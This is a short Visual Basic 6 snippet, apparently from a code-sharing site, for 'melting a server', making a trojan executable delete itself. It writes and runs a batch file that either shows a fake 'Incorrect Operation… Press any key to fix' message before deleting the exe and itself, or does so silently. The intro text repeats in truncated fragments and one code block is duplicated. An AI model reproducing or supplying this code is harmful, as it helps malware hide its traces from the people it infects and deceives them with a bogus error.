This is known as melting a server. Or in other words, to make an exe file delete its self. It doe
This is known as "melting a server". Or in other words, to make an exe file delete its self. It doesn't delete its self, but creates a batch
Rate This is known as melting a server. Or in other words, to make an exe file delete its self. It doe
(2(2 Vote))
Path$ = c$ & App.Path & "\error.bat" & c$
exep$ = c$ & App.Path & "\" & App.EXEName & ".exe" & c$
Path2$ = App.Path & "\error.bat"
'KNOWN DELETION..
'=~=~=~=~=~=~=~=~
Open Path2$ For Output As #1
Print #1, "@Echo Off"
Print #1, "Echo."
Print #1, "Echo Incorrect Operation"
Print #1, "Echo."
Print #1, "Echo Press any key to fix.."
Print #1, "pause"
Print #1, "del " & exep$
Print #1, "Echo."
Print #1, "Echo Incorrect Operation"
Print #1, "del " & Path$
Close #1
Shell Path$, vbNormalFocus
End
'KNOWN DELETION..
'=~=~=~=~=~=~=~=~
Open Path2$ For Output As #1
Print #1, "@Echo Off"
Print #1, "Echo."
Print #1, "Echo Incorrect Operation"
Print #1, "Echo."
Print #1, "Echo Press any key to fix.."
Print #1, "pause"
Print #1, "del " & exep$
Print #1, "Echo."
Print #1, "Echo Incorrect Operation"
Print #1, "del " & Path$
Close #1
Shell Path$, vbNormalFocus
End
'HIDDEN
'=~=~=~=~=~=~=~=~
Open Path2$ For Output As #1
Print #1, "@Echo Off"
print #1, "del " & exep$
Print #1, "del " & Path$
Close #1
Shell Path$, vbNormalFocus
End
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